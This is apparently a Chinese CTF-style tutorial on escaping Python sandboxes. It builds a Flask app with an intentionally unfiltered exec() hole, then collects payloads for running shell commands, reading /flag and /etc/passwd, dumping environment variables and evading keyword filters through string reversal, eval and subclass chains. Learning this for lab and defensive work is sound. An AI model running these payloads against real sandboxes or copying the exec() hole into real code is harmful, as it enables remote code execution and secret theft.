沙箱逃逸

参考:https://www.freebuf.com/articles/web/422169.html

https://www.freebuf.com/articles/system/203208.html

沙箱是一种安全机制,用于为运行中的程序提供一个隔离的环境

系统把不信任的程序(比如网页上的 JavaScript、下载的未知文件、或者某个特定的应用)放在沙箱里运行。在这个环境里,程序只能访问被严格限制的资源(如少量的内存、特定的临时文件夹),它无法读取私人文件、修改操作系统核心设置或感染其他程序。

那么沙箱逃逸就是指被隔离在沙箱内部的恶意代码,利用了沙箱本身的漏洞或配置缺陷,打破了隔离边界,成功获取了沙箱外部系统(宿主机操作系统)的访问权限

这里我在kali虚拟机上直接搭建了一个形似CTF题目环境的本地测试页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# app.py
from flask import Flask, request, render_template_string
import sys
import io

app = Flask(__name__)

# 这是一个极简的 HTML 前端模板,自带黑客风样式
HTML_TEMPLATE = """
<!DOCTYPE html>
<html>
<head>
<title>在线 PyJail 靶场</title>
<style>
body { font-family: monospace; background: #1e1e1e; color: #d4d4d4; padding: 20px; }
textarea { width: 100%; height: 200px; background: #2d2d2d; color: #00ff00; border: 1px solid #555; padding: 10px; font-family: inherit; font-size: 16px;}
input[type="submit"] { background: #007acc; color: white; border: none; padding: 10px 20px; cursor: pointer; margin-top: 10px; font-size: 16px;}
input[type="submit"]:hover { background: #005f9e; }
pre { background: #000; padding: 15px; border-left: 5px solid #00ff00; overflow-x: auto; color: #00ff00;}
</style>
</head>
<body>
<h2>🐍 危险的在线 Python 沙箱 (Web RCE)</h2>
<p>在此输入你的 Python Payload:</p>
<form method="POST">
<textarea name="code" placeholder="输入 Python 代码,例如: print('Hello Hacker!')"></textarea><br>
<input type="submit" value="执行代码 (Execute)">
</form>

{% if result != None %}
<h3>执行结果:</h3>
<pre>{{ result }}</pre>
{% endif %}
</body>
</html>
"""

@app.route('/', methods=['GET', 'POST'])
def index():
result = None
if request.method == 'POST':
# 1. 获取用户在网页文本框里填写的代码
code = request.form.get('code', '')

# 2. 准备捕获 Python 的标准输出 (将 print 的内容拦截下来显示在网页上)
old_stdout = sys.stdout
redirected_output = sys.stdout = io.StringIO()

try:
# 3. 核心漏洞:没有任何过滤,直接执行用户输入的代码!
exec(code)

# 4. 获取执行期间所有 print 出来的内容
result = redirected_output.getvalue()
if not result:
result = "[执行成功,但没有输出任何内容]"

except Exception as e:
# 如果代码报错,把错误信息返回给网页
result = f"[运行报错] {str(e)}"
finally:
# 5. 恢复系统的标准输出(重要收尾工作)
sys.stdout = old_stdout

return render_template_string(HTML_TEMPLATE, result=result)

if __name__ == '__main__':
# 启动 Web 服务,监听 5000 端口
app.run(host='0.0.0.0', port=5000, debug=True)

命令执行

python中可以执行系统命令的有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
os

commands:仅限2.x

subprocess

timeit:timeit.sys、timeit.timeit("__import__('os').system('whoami')", number=1)

platform:platform.os、platform.sys、platform.popen('whoami', mode='r', bufsize=-1).read()

pty:pty.spawn('ls')、pty.os

bdb:bdb.os、cgi.sys

cgi:cgi.os、cgi.sys
...

os

1
2
3
4
5
6
7
8
import os 引入python标准库中的os模块
result=os.popen('cat /flag').read() 执行命令并将命令执行结果塞入到管道中,通过read()转换为字符串赋值给result变量
print(result) 输出命令执行的结果

在某些条件下也可以使用:
import os
os.system('cat /flag')
可能会导致执行shell命令不会返回shell的输出

commands

commands命令是python2.x版本下可以使用的:

1
2
3
4
import commands
commands.getstatusoutput("ls") 执行系统命令,并只返回命令的输出结果(字符串)
commands.getoutput("ls") 执行系统命令,并返回一个元组 (Tuple):(状态码, 输出结果)
commands.getstatus("ls") 执行了 ls -ld 文件名,返回这个文件的权限和属性信息

ctypes

1
2
3
import ctypes
ctypes.CDLL(None).system('cat /flag'.encode())
上面这串payload同样可以执行成功但是没有回显

subprocess

通过这个模块我们可以更方便看到命令执行的回显内容

1
2
3
import subprocess 引入Python的子进程管理模块
print(subprocess.getoutput('cat /flag'))
这行代码会开辟一个子进程去启动Linux shell,之后他会将输出端接上管道转换为字符串用print输出出来

除此之外我们可以利用

1
2
3
4
import subprocess
# capture_output=True 负责把数据截获下来,text=True 负责把字节流转成字符串
result = subprocess.run('cat /flag', shell=True, capture_output=True, text=True)
print(result.stdout)

还有:

1
2
3
4
5
6
7
import subprocess
# 1. 启动进程,并强行把它的标准输出 (stdout) 接上一根内部pipe (subprocess.PIPE)
proc = subprocess.Popen('cat /flag', shell=True, stdout=subprocess.PIPE)
# 2. 读取pipe里的内容,并解码成字符串
# communicate()[0] 是获取标准输出的标准做法,并且它会等待命令执行完毕
result = proc.communicate()[0].decode()
print(result)

pty

1
2
import pty
pty.spawn("ls")

这种payload直接输入也是没有回显的,除非我们将他输出的字符串写入到其他文件中,并且利用python的文件读取功能:

1
2
3
4
5
import pty
import os
pty.spawn(['/bin/sh', '-c', 'cat /flag > /tmp/1.txt'])
result = open('/tmp/1.txt').read()
print(result)

值得注意的是:pty.spawn会将整个字符串当作文件名执行,如果我们传入pty.spawn("cat /flag"),那么他就会去寻找cat /flag这个可执行文件,所以我们必须使用列表的形式传给他:

1
pty.spawn(['cat', '/flag'])

timeit

1
2
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)
1
2
3
4
import timeit
# 让底层 shell 把结果写进 1.txt
timeit.timeit("__import__('os').system('cat /flag > 1.txt')", number=1)
print(open('1.txt').read())

platform

1
2
import platform
print(platform.popen('dir').read())

这个和 commands一样也只能用于python2环境

importlib

1
2
3
import importlib
importlib.import_module('os').system('cat /flag > /tmp/1.txt')
print(open('/tmp/1.txt').read())

或者可以:

1
2
3
import importlib
result = importlib.import_module('os').popen('cat /flag').read()
print(result)

sys

1
2
3
import sys
result=sys.modules['os'].popen('cat /flag').read()
print(result)

这里利用的是popen而不是system,是因为用system就不能使用.read()方法

linecache

1
2
import linecache
linecache.os.system('ls')

在使用这个之前可以尝试print(dir(linecache))看看该版本的python下有没有os直接属性

读写文件

file类(python2)

1
file('test.txt').read()

open函数

1
2
3
4
5
open('/etc/passwd').read()
__builtins__.open('/etc/passwd').read()
__import__("builtins").open('/etc/passwd').read()

直接使用这些是没有回显的,所以需要print输出一下

codecs模块

1
2
import codecs
print(codecs.open('/flag').read())

getline函数

1
2
print(__import__("linecache").getline('/flag',1))
#第二个参数是指定行号

getlines函数

1
2
3
4
import linecache
print(linecache.getlines('/flag'))

print(__import__("linecache").getlines('/etc/passwd'))

license函数

1
2
3
4
5
6
__builtins__.__dict__["license"]._Printer__filenames=["/flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

枚举目录

os模块

1
2
3
4
import os
print(os.listdir("/"))

print(__import__('os').listdir('/'))

glob模块

1
2
3
4
import glob
print(glob.glob("/f*"))

print(__import__('glob').glob("/f*"))

这段payload可以查看根目录下是否存在以f开头的目录或文件

获取环境信息

popen

1
2
import os
print(os.popen('env').read())

直接env可以查看所有环境变量中的内容,加上grep FLAG就会单独输出这个值

environ

1
2
import os
print(os.environ)

sys模块

1
2
3
import sys
print(sys.version)
#这串payload可以用来查看python版本

一些绕过手段

拼接绕过

1
2
3
b = 'o'
a = 's'
__import__(b+a).popen('cat /flag').read()

利用字符串的变化处理os

1
print(__import__('so'[::-1]).popen('cat /flag').read())

还可以利用 eval 或者 exec

1
print(eval(')(daer.)"galf/ tac"(nepop.)"so"(__tropmi__'[::-1]))
1
exec('))(daer.)"galf/ tac"(nepop.so(tnirp ;so tropmi'[::-1])

match case语法绕过getattr()限制

1
2
3
match object:
case object(__subclasses__=subclasses):
print(subclasses())

但是match语法也可能在 AST 层面被过滤,即 ast.Match

通过继承关系逃逸

这里特别像SSTI了,通过一连串的继承关系去找到os或其他执行命令,这里就不过多赘述了,主要给一些语句:

1
2
3
4
5
print([index for index, cls in enumerate("".__class__.__bases__[0].__subclasses__()) if 'os._wrap_close' in str(cls)])
//这个print语句可以查找os_wrap_close在列表的第一个位置

print('\n'.join([f"[{i}] {c}" for i, c in enumerate("".__class__.__bases__[0].__subclasses__())]))
//这个print语句可以循环输出object的所有子类并标上序号
1
[158] <class 'os._wrap_close'>

这里我的os类在158位

1
2
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print (i)
//如果是python2可以用这个